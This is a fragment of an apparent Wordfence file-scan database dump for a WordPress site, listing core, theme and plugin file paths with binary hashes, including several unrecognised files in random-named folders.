('6<C﮿V:(r','wp-includes/js/tinymce/plugins/wpeditimage/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpeditimage/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{CNAŜ,J','.ޏ^dl`OR>K0)>O=Bb0d','',0,'?'),
('DPqkHvr','wp-includes/blocks/preformatted/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/preformatted/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('U<?Y,ػ(','wp-admin/js/svg-painter.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/svg-painter.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','÷#9','~HeLi|075j	w','',0,'?'),
('U}B	Js','wp-includes/class-wp-object-cache.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-object-cache.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>ꖸ','_FlT(eU$35	;ދ\0\'','',0,'?'),
('cڮq\".|0>','wp-content/plugins/wordfence/images/icons/check-response.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/icons/check-response.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','NF','82f)o>5iq)e=G}','',0,'?'),
('qOț[*n','wp-includes/blocks/calendar/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/calendar/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('q8]C֔','wp-content/plugins/wordfence/modules/login-security/views/common/reset-grace-period.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/common/reset-grace-period.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w\n*jh:^','=prEnR쩖Y/','',0,'?'),
('s񿉧}riS','wp-includes/block-supports/shadow.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/shadow.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','OZqvB<V*','zߝ\Zz3[b\Z\\&XPO?GS','',0,'?'),
('|G$k','wp-includes/js/dist/vendor/wp-polyfill-url.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-url.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>dKP\'IC38','kz:_sDpxe%J	ST_','',0,'?'),
('}Ua&gli)!','wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N-o','Dj!.[z(T1AcxpqUxX','',0,'?'),
('ˆ]g1{[	pe','wp-includes/blocks/video/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/video/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rPi CIя','_NBԭEmX=zCr','',0,'?'),
('ˍG䯀oeo','wp-includes/js/shortcode.js','/home/trevorkl/trevorklee.com/wp-includes/js/shortcode.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@P}SΊ','yaeaKR\0%xyuy↢','',0,'?'),
('ˤԐ{%k#f','wp-includes/js/mediaelement/wp-playlist.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/wp-playlist.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nWizT֯','۔<Qy\\Bu|͏fC|d','',0,'?'),
(']SxT7+	','wp-includes/sitemaps/kjfl1bg/ky1monx/jzyscnm/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/kjfl1bg/ky1monx/jzyscnm/index.php',0,'M; XBg>.','M; XBg>.','Y2g!Û>NΎ+.ʨ5Y\r','',0,'?'),
('ǝQ_yd+','wp-includes/sodium_compat/src/Core/XChaCha20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/XChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wbY- \']L','ehG	S=RG]\"','',0,'?'),
('b\\bRsA&','wp-includes/PHPMailer/OAuth.php','/home/trevorkl/trevorklee.com/wp-includes/PHPMailer/OAuth.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','틸ɢ찹\'','-Rq@~\'.?=0e','',0,'?'),
('N\0ܹt','wp-includes/js/jquery/ui/spinner.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/spinner.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.$9ͼ[zo','@e8XejTw[¯E=K!\\P5D','',0,'?'),
('5Y.i\'','wp-includes/Requests/src/Hooks.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Hooks.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|\"e|j',';g}hfט>SC8\Z1','',0,'?'),
('vE,-O{','wp-includes/link-template.php','/home/trevorkl/trevorklee.com/wp-includes/link-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c и@p_1','(!}R2xF;\"G8YF\Z','',0,'?'),
('{@qmu','wp-content/themes/twentytwentyone/template-parts/header/entry-header.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/header/entry-header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','TE50QD=l','2&.(SGl^NC&/ρ','',0,'?'),
('!LT3ix','wp-admin/update-core.php','/home/trevorkl/trevorklee.com/wp-admin/update-core.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w6pK\r','+.dF;ͲD{PU;.\"BCkZb','',0,'?'),
('/}¦kAZj','wp-includes/blocks/query-pagination/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R8Hɢ^M{','#s(ȲWm\"\ZZO˛Puk\\p','',0,'?'),
('4>{nu^-','wp-includes/Requests/src/Exception/Http/Status404.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status404.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I!ĂfZpL.re','rcc5\Z:^KYR|','',0,'?'),
('=`:x~','wp-includes/blocks/site-logo/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-logo/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AN)X8',']R<NR9b76j+tBt','',0,'?'),
('MTq&[?>칊\n','wp-admin/css/colors/ectoplasm/colors.scss','/home/trevorkl/trevorklee.com/wp-admin/css/colors/ectoplasm/colors.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1¢=~U}Z$','~ѣV0\"g:KZi³\nC2]ѝ','',0,'?'),
('MzŭY','wp-content/plugins/wordfence/modules/login-security/img/ui-icons_444444_256x240.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/ui-icons_444444_256x240.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GJu;QZ6','\\MUKhQwCiVJ\'','',0,'?'),
('VڮMjӁ','wp-includes/js/plupload/license.txt','/home/trevorkl/trevorklee.com/wp-includes/js/plupload/license.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u&\nTIz+','\0v1sN>cID٦I0-','',0,'?'),
('a$:4j\0\ZX','wp-includes/blocks/comment-template.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-template.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']	2a4څ=','<SA0:Zηv-ZE','',0,'?'),
('inj/r','wp-includes/js/dist/i18n.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/i18n.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':X8.ZXn%)','k_h\'2\"y0i^)2','',0,'?'),
('́q9Q)KyYC','wp-includes/css/dist/components/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/components/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('́ԑAHa]\':','wp-includes/blocks/index.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/index.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','˝Q\"_U(#4b','n!)z(+NEF296O`','',0,'?'),
('̏z\'~O	Io\Z','wp-includes/interactivity-api/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/interactivity-api/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('̗G4[','wp-includes/Text/elbyraq/1qafueo/vlkr1cf/php.ini','/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('̙~Ȍî+byȁ','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/SipHash.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/SipHash.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ǆ簕۹3w','ʣ>yqөf_#QuW\"^?','',0,'?'),
('̸-]\Zn','wp-includes/sodium_compat/src/Core/Ristretto255.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Ristretto255.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k9wZ~ \'',' z`WN?]ӟB,KJlW>k','',0,'?'),
('̽ X$oB','wp-content/plugins/akismet/_inc/akismet.js','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/akismet.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','³e5G \"<','@ՃINycFczD@)Q','',0,'?'),
('Ê5ff;,G!\'\'-','wp-admin/css/colors/ocean/colors.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/ocean/colors.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AK}uX`Z$','0\nQ׃/eխ8s~]_i','',0,'?'),
('\";+\rxuw','wp-includes/js/mediaelement/renderers/vimeo.js','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/renderers/vimeo.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?~si6G/','{w-\rzFv_\\wf','',0,'?'),
('ǊEvc,صyS^','wp-includes/images/crystal/license.txt','/home/trevorkl/trevorklee.com/wp-includes/images/crystal/license.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']LciGfQ\r','vpmc6Y~\",!VEXll\"z','',0,'?'),
('bɴ}M5','wp-includes/js/tinymce/plugins/lists/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/lists/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('2>:mz=	6٣;','wp-includes/blocks/comment-edit-link.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-edit-link.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\F¯^','(uMvsFR\'VGDPDn6','',0,'?'),
('pj֛`w','wp-admin/css/customize-controls-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/customize-controls-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','aw\"0\n1','\Z\0O|WG{0,','',0,'?'),
('n	}V-I','wp-content/themes/twentytwenty/index.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/index.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6Vcq4XYʗQ','QJ!,CCLX$pÎ3U','',0,'?'),
('dlPOI','wp-admin/network.php','/home/trevorkl/trevorklee.com/wp-admin/network.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*J;uc^0R','T`h[rTUg+4','',0,'?'),
(')\0e_5=','wp-content/plugins/wordfence/lib/diffResult.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/diffResult.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~ZNa\'X+@','=D>X\\ș KꛒR1J','',0,'?'),
('K=Xa:\'5','wp-includes/sodium_compat/src/Crypto.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Crypto.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','F2	8\0~;!p-G','к\\#xnLIʈMRi8','',0,'?'),
('\\_^]5','wp-includes/blocks/freeform/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/freeform/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('^&`RyJ','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/autoload.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/autoload.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','糾s\n,%JH}',';!$%qܞg}Cp^','',0,'?'),
('mL0N\"T~b','wp-includes/theme-compat/footer-embed.php','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/footer-embed.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Z.+j','iDAJψ;v,gc%	^#','',0,'?'),
('w9=_\"h%v','wp-admin/css/install-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/install-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.J	 ˶v','7лKԑy3+3$)GI#','',0,'?'),
('͎3עJynĀM','wp-content/plugins/wordfence/fonts/fontawesome-webfont.woff','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/fontawesome-webfont.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nq*ZF)2','&4\"\rQjXmN\"?Po\\?','',0,'?'),
('͓Y36lY','wp-includes/js/tinymce/plugins/textcolor/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/textcolor/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v<hp','!/[I+\rG Dխ7=\'','',0,'?'),
('͢PPP}L{','wp-includes/sitemaps/fxpu1qt/uspyrgz/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/fxpu1qt/uspyrgz/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('ͪuowsFCG[c','wp-includes/rest-api/fields/class-wp-rest-meta-fields.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/fields/class-wp-rest-meta-fields.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K[2C','bb1<B>`]*H{\0vN','',0,'?'),
('Ͷjʃఱ-','wp-content/plugins/wordfence/lib/menu_firewall_blocking_options.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_firewall_blocking_options.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}|QPc{|ϐlR',')ir#I)D=	\'nyr','',0,'?'),
('_P=O)','wp-includes/Requests/src/Exception/Http/Status402.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status402.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','y 3NJC@wC','R.-	hkVHP\'jx`*','',0,'?'),
('^GЮIj]','wp-includes/css/dist/preferences/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/preferences/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('3F<8','wp-includes/js/underscore.js','/home/trevorkl/trevorklee.com/wp-includes/js/underscore.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0S>\ZS','8ZC\nMIdy\n\'p,aJGd','',0,'?'),
('S>sU)H','wp-includes/sodium_compat/src/Core32/Curve25519/Ge/P1p1.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/Ge/P1p1.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','y$NXll','[-v5<M\n+Bu.,5g','',0,'?'),
('E\rvϭЅ+1','wp-includes/l10n/class-wp-translation-controller.php','/home/trevorkl/trevorklee.com/wp-includes/l10n/class-wp-translation-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m\n\0,SxaZLW','tԋ!K}/Sa)-ڵVAy]','',0,'?'),
('j(g~jU#','wp-admin/includes/class-wp-filesystem-ssh2.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-filesystem-ssh2.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o\ZL2}9','ܟp\0$t%Օ䭥%cPǵ̝','',0,'?'),
('hN\0$','wp-content/themes/twentytwentyfive/patterns/cta-grid-products-link.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/cta-grid-products-link.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fnzh','<P]`t{- T/넎Z\0%','',0,'?'),
('?r߭~\":^ ','wp-includes/js/tinymce/skins/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(' Mu)`>2','wp-content/themes/twentytwentyone/image.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/image.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W@X6DDz5֠','?5xߓJ@#cvH}C','',0,'?'),
('N: @kς','wp-content/themes/twentytwentyone/template-parts/post/author-bio.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/post/author-bio.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`\Ztz&S4\Z','M8B\0Z?$y3UeZI','',0,'?'),
('_)-]ˌkO	','wp-includes/ID3/module.tag.apetag.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/module.tag.apetag.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Op0dJd','_%	;Pֳdt-dx','',0,'?'),
('esꀇ4UI.D^g','wp-includes/css/dist/admin-ui/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/admin-ui/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?{\Z)[9?B',' .\0VT_ \\`\0%te','',0,'?'),
('l/<UZA','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/BLAKE2b.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/BLAKE2b.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'ЈHn0\rv','<iqótIx8+IٍW;\'','',0,'?'),
('|f,2T	','wp-admin/term.php','/home/trevorkl/trevorklee.com/wp-admin/term.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a2ױwSF.',')iCH358lB{Bfg','',0,'?'),
('~^/sũ1','wp-includes/SimplePie/src/Cache/MySQL.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/MySQL.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xv%>X&l','T5Z[Q] ]g,AN+G','',0,'?'),
('Β_hl5lq','wp-includes/blocks/term-name/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-name/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g&\njVSbf\\[','*v\'o4P{+`4BLUӻ;[S','',0,'?'),
('ΝP|ڒ\\o','wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' w^]緣M','ZEO7(nYh˨','',0,'?'),
('Ωj%Yg8','wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@@¤0ZB','Hxk\">DiyHrկz}!Z+,Edqϥ','',0,'?'),
('Ϊ]Q;Ie~@	','wp-content/plugins/loginizer/lib/hybridauth/autoload.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/autoload.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','BrDq\rύ3','ѭlņF&]lȒ(Uz@','',0,'?'),
('αZ	iIȏ','wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G\"7d֑k','16 yȜх\\ީĸU D','',0,'?'),
('γy\06ϛ\0^	=@','wp-includes/blocks/post-navigation-link/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-navigation-link/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Cbr:','A!Dg$;~ِoP;{','',0,'?'),
('ζiNN','wp-includes/sitemaps/kjfl1bg/ky1monx/jzyscnm/cvc.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/kjfl1bg/ky1monx/jzyscnm/cvc.php',0,'^ÌV7m','^ÌV7m','	7*[!(]>Mޘ|΄$t','',0,'?'),
('œϔ=#6','wp-admin/images/post-formats32.png','/home/trevorkl/trevorklee.com/wp-admin/images/post-formats32.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WY~O{+_LkE;','k<8._DKG[5e-I(0wh','',0,'?'),
('\nP','wp-includes/blocks/quote/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/quote/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')A̿<:>N','O/\n/G\"s΁RȌwe','',0,'?'),
('B0i`zz','wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Regular.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Regular.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']oR,Kh`',' P^b>\0WCx2{F\"','',0,'?'),
(',@Q','wp-content/plugins/wordfence/views/common/indeterminate-progress.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/common/indeterminate-progress.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I\"sg4\\(8','@Zn\"ξ~QՔ8sP\073','',0,'?'),
('$e&gqim','wp-content/themes/twentytwenty/header.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' s`{4\Zʃ3','Jgމ,iK4sF&ӯxN','',0,'?'),
('\'p鱇yw','wp-content/themes/twentytwentythree/assets/fonts/inter/Inter-VariableFont_slnt,wght.ttf','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/inter/Inter-VariableFont_slnt,wght.ttf',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','De,m','%bR447TWz?X6&.','',0,'?'),
('-+emu\"x','wp-admin/css/colors/sunrise/colors.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/sunrise/colors.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[/Ӕ','H9*GϬAA\'4','',0,'?'),
('266#	S[h(\\','wp-includes/css/dist/block-library/common.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/common.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','i0_3yGf5G','mhA%^8> UH\\{;\\8~','',0,'?'),
('GIҒe:','wp-includes/sitemaps/lpshcut/udgvzwn/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/lpshcut/udgvzwn/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('XZn8׮*7','wp-includes/SimplePie/src/HTTP/ClientException.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/ClientException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_\n#19\01\"','6ZA_]ڽ.r@i#85,Y','',0,'?'),
('_q ^<8:	','wp-admin/css/colors/modern/colors.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/modern/colors.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XT-.$&','\nyJUZ=FV?<C2q','',0,'?'),
('uF^GE+c','wp-admin/network/freedoms.php','/home/trevorkl/trevorklee.com/wp-admin/network/freedoms.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u6|tJ41','B;M7߃[9</','',0,'?'),
('u^#6c|','wp-includes/sitemaps/ubxnoaj/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ubxnoaj/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('πtGȩD','wp-includes/js/tinymce/plugins/image/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/image/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B\n4\\0=','QvSI>;41%rf$@p\\j','',0,'?'),
('ϊ=XbBz\' ','wp-includes/js/jquery/ui/effect-explode.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-explode.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}3ԭ4^sƛ/','!!EylnʳV`˸1w9=T器','',0,'?'),
('ϊYw׹EG','wp-includes/blocks/group/theme-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/group/theme-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3jCOѺ}`xݰ','GCf0S\"hsp4YuR\Z$xqO','',0,'?'),
('Ϛ\"jy^','wp-includes/js/dist/blob.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/blob.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@)\Z?+z\\A','	L|ǐ>#;_W','',0,'?'),
('ϼ\nxԡ%eB','wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Light.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Light.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S~ٽCD','\"\Zۻb[$Md/퍤.z','',0,'?'),
('HԹfk','wp-includes/js/tinymce/wp-tinymce.php','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/wp-tinymce.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1_H0US@h','_ؕN͞1*ǜ','',0,'?'),
('yKv.\Z','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/namespaced.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/namespaced.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>_3Nw#','ǥmZz*,=:\n-3|!','',0,'?'),
('ݙP(O\'Ee','wp-includes/js/jquery/ui/effect.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kM|n#','t]\\80=\0)4Z8x0췋 1','',0,'?'),
('S<Cէ6g)','wp-includes/Requests/src/Exception/Http/Status408.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status408.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L]pæ֊K','|g+}պIwyTlfO\rOd','',0,'?'),
('鋭{^MU*_','wp-includes/js/twemoji.js','/home/trevorkl/trevorklee.com/wp-includes/js/twemoji.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C&xoQB~L','Uِ`9Fuh͓H3','',0,'?'),
('\\T@SO|m','wp-includes/blocks/audio/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/audio/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';4L%^is1A','+㦍&+.VOڏVQ#\ZiQ²','',0,'?'),
('@AO=	yA','wp-includes/class-wp-paused-extensions-storage.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-paused-extensions-storage.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/otUbi','.ԲJ_P,H4AlY','',0,'?'),
('gs)݅','wp-includes/blocks/latest-posts/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-posts/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I7C^;\"','I,S%_#Ra:ik\Z> P<','',0,'?'),
